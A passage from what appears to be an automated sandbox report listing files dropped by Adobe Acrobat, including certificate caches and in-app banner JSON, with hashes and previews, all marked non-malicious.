Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.742553200765872
Encrypted:	false
SSDEEP:	3:kkFklGSlZb31fllXlE/HT8kI7/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKfSlBmT8zVNMa8RdWBwRd
MD5:	D1C3499530D1DFC071CC8E7D052283AA
SHA1:	DE0E088A60D5FD7A35B64F013CA6DC489B770426
SHA-256:	FEB7BCDBB892014A0920B3D08C34719456CB2699213C285EF9BE1BFCC7345770
SHA-512:	F643F6ACF09EA329204B50FDA32D9BDF3DEAB79D73A889B8C882FAF3B6879E61AAE728C842B3A941CACB88C4595EEAF6FAB8839538AB62CC2B7150EF8C674037
Malicious:	false
Preview:	p...... ...........o.<..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2539954282295116
Encrypted:	false
SSDEEP:	6:kKdc9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:hDImsLNkPlE99SNxAhUe/3
MD5:	CB46F91D7D9E09D3E9C53EA972869258
SHA1:	79E1EBB48DE69B3A3CD4995953D77F07D1F843B8
SHA-256:	C1277B64C68583FB5FA033C0578A4CCDFE91BF27046230C4C715609576872F61
SHA-512:	B71A1D418BB2AF67E561C4534F80CC76D20635EC1AC4215DC2989C3510799FE3D06971198325A9F91C40E1905EC552A432EFFD1250329D47AB33179945BDBD7C
Malicious:	false
Preview:	p...... ............<..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.373891357581535
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJM3g98kUwPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGMbLUkee9
MD5:	492C224F309177B0D7D5A18FC1D49C0B
SHA1:	0675215897061E1463AD90E742DCDC413D79D6E8
SHA-256:	38E7E28A852AA07483031E1342200274107389231213D66119CD849AC069BB5C
SHA-512:	19995632428401AA4233FE7E3549F67CC583E8D7FA7ACBD5ED09F9D7168465821CD0101468FA22D420C03508F1D92588C91282DFB794DA4A367ABC791DF51812
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321037184458466
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfBoTfXpnrPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGWTfXcUkee9
MD5:	89BA564BA7E7F36A485081CB8701B27B
SHA1:	B90384B9EF47A18596A84F751AC663E383287728
SHA-256:	B150941DA3F03D9C587C1B7AF0514A4AB3EDCC0DCCEBACD430E4DB5B5860D316
SHA-512:	5F6D901FB50BA7F7BD3D34A1C3C5240D6C099EA7171C6BB17BD5C8A6A735C89154A1F27C648CE19A87138B88F0EEA8879F5344C7FA8A1DFE889685F97EF469B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3000322198535414
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfBD2G6UpnrPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGR22cUkee9
MD5:	3400202E29A3F5F10F2E66C2A44091D6
SHA1:	A74C75F4F8C371F2E81FD1A6687A02E679579716
SHA-256:	B0242E5BB9A7612857FD03ACBCC4393C744F0401A493316BE7EDFD04363F0298
SHA-512:	C5D671279608AE6021CBBAB7EB4A609A95D95953683287D3CFDBAD390944B668EFA6768313342FC75931065ABBF6F1734A9C1169539AE4505EB63816634E9835
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.362640948823032
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfPmwrPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGH56Ukee9
MD5:	E35316FB6604504DBEF936278B72C0F7
SHA1:	CB81A2EF2535451B1A3CB0D3EAD16541F67CC98A
SHA-256:	70E757EFDBC4EE691248BA0B180C676E454DF2814A5B0B07AFBF9EBC7DBD0931
SHA-512:	F643A047F945EAF9B7AF6D220D0DE42714FA5DAFB1D52EB823D8420036BCCDCC2E1543D6978C74E2DB12ABC276D36C47F13F77A4B51AF1AFB2A729833EDA9361
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687083591369474
Encrypted:	false
SSDEEP:	24:Yv6X2zVDk1gU1JpLgE9cQx8LennAvzBvkn0RCmK8czOCCSq1:Yv9nU1Jhgy6SAFv5Ah8cv/k
MD5:	026B7B18E8B58264CCFED3C5752A82C5
SHA1:	4A0D66181F7AF9A6ED570132154425CACC4E9521
SHA-256:	9EAB78CBF983B6593AAF259229670B9D0F8735259404AC02A5CA2A99A9B021A8
SHA-512:	F43C14989B10F5FDEBC68BC4643A93753D07B2AE50770CFA9000BD6DDE1B04ABA3F2C67184133D4AD53D1B59768BCBD4D98DD9E91CD47A405341C1B2CD0A13D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.679891950967384
Encrypted:	false
SSDEEP:	24:Yv6X2zVDk1gU1lVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdB/1:Yv9nU1lFgSNycJUAh8cvYHG
MD5:	E4707DBF3C21DC158B892F6B67F90A3A
SHA1:	1EEA05DB2D107433380D3F649FEFF892CC72515C
SHA-256:	E3179C48902BCAFB9AFFCC6BD863C6452DBF170314F30266A32457A426ED3B9B
SHA-512:	9C52F1A7DB227786A8CAA3D9BF8F8C6786E5CF915FCF3232DE36D54F3AB69884913DC088BE00B4385E58EDBA777591E708BD21407708E5B73A0DFABA62813DFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.311534792851413
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfQ1rPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGY16Ukee9
MD5:	E2446CD4E7049424DB4E00B30FC3FA9E
SHA1:	3F24874064D45C2D6B3051ED5F364D60E80E86A6
SHA-256:	0784FBE331EDCC6FA3E116F421814F63F4F2C1F55344789A6F17FE0EFB7074CF
SHA-512:	8CE0BC88EBCD385CC24E45A5B4FF092A2D58B425AE3E033CBA41428DBF0DB796504C8B4BACC17CC9CBA8BAFF4F6EFDEBBD0649847F231043A1EAA61A87A8909B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.672765049901257
Encrypted:	false
SSDEEP:	24:Yv6X2zVDk1gU1E2LgErcXWl7y0nAvzIBcSJCBViV/1:Yv9nU1EogH47yfkB5kVk
MD5:	EBFD271840C15B8B4B7167B5A159846C
SHA1:	18665A08A3832667DA733A79933A935EC17DFE0A
SHA-256:	6ADE9642640082E915ED6905D00B34D240E593A5E3E79FC3CB7380155B6E9CB5
SHA-512:	17A8641B8E7392A2CBE19B1E8854730A297E6C504DADB1A6697C84B0954DCB1AF35F46547C7E77FA99B965F37F6EB3E90E04DC6180DD3CC73B604F7DB03CFAC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.69595935002124
Encrypted:	false
SSDEEP:	24:Yv6X2zVDk1gU1UKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5/1:Yv9nU1UEgqprtrS5OZjSlwTmAfSKH
MD5:	375799A48016697580EDF3BE6FBC4B0E
SHA1:	C50F40E84CB6460A79E2DBDD20B7F25401AADE7A
SHA-256:	C9B5A571A69DD5D20185716FBB7B4C9D97D2BC2FDBE4C058799B1A8D386BF47B
SHA-512:	BF0C8DC316846FF304476A2784086AB0235238F5EDECBFC58B7FD269979A168731EE06233DE7D84A7F0D13623003C4E0BA287EA0E8EEB49553116596F785E5E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314765390101078
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfYdPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGg8Ukee9
MD5:	8474ED564915ECB67C1DA3C0EEB59C88
SHA1:	FC2AD6CD3D714A2953C73C69BEBE7AB31C5380D4
SHA-256:	C2745C9B071B33FA905D8C781CD9BEB5A2270EC8A066DBEC441163BCBD04B804
SHA-512:	51EE56BD374B0DFCADCCAD273503639EA5BD1FD1007D79F1BBCC43634A8930D4255DC1DA4AC7522EE8B022857455A5B1858BC6394C112B5CFFE35512B7159B88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.301374707902666
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJf+dPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sG28Ukee9
MD5:	9A3DADCAC38E35A716AE0EAA76E48C47
SHA1:	C54739F69E8E4D95A2CFE6888A9136BA25038342
SHA-256:	3D9F8960FD4C7C7D20CE0CC7D480607039AEBD884DB04594809266CB3DB75C46
SHA-512:	394EB3A21A03DF08CBF7068504B2A003F51B98436A0DAA4927E951345BC302735747BA4FDC0611F10DCF05DD6E92C8010D087CB5612D89B6A166A8653407FA73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.298211007430603
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfbPtdPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGDV8Ukee9
MD5:	C2F68E780935894D7ED4C1ADC33876DE
SHA1:	081F2E166E8D91D914C974DB5846AC4A7E73D176
SHA-256:	07C0F599C5B64406C25633A63074BF6E493A464A275CE874FFB4430B1EB97189
SHA-512:	472F60410ABBE7CD41CBB74D68277AB700BF3BB7AAFD7A352FEBE634C4E3603EA75370F1DFD45E4EAE5F22CFD156EE8A96D6396383B583AA2CE2E251A7557897
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3017967027930535
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJf21rPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sG+16Ukee9
MD5:	CB784B6A2DE723911F4490264A7B5F6C
SHA1:	2C77E87888CBE1E9C66F8A043EBE3E9DD1364801
SHA-256:	4DC6F2D1D6A5C85B1A795E469E6BEA5DF8DE153AD754E789D23EEE472A63ECA2
SHA-512:	A230E7B2F58D5A26253E9B77C469151D8C1F92C4EC50A5C0AB59194812C5B6E458C45054116463F46619012887284AF617A869CB935B04AB835FDC2DD2124F1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658749804785728
Encrypted:	false
SSDEEP:	24:Yv6X2zVDk1gU15amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq1:Yv9nU1FBgkDMUJUAh8cvMk
MD5:	1C62727AA1BD45BC4EB5A9801D7BEE4A
SHA1:	56C372CF55819194E1135070D40DBB031CC76565
SHA-256:	1C1DA86E27527D507B31A93AA3801793A9C5B5AEDEC8F09568962BEDB2277F1E
SHA-512:	C0E63C84C516856D6EA196A5854BEDC2A81701286E1930FECBEDBCB57B5F9C04C6FC27A33CE6979D95F46526D8AA1D931AE6BD616F9C60A70397F2BA98B391B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.276640927208184
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2HT40Dk1OQ5IRR4UhUR0YKYRDoAvJfshHHrPeUkwRe9:YvXKX2zVDk1OQWRuUhU1sGUUUkee9
MD5:	52516C3E1EE2D856C89BD97ED3D797C4
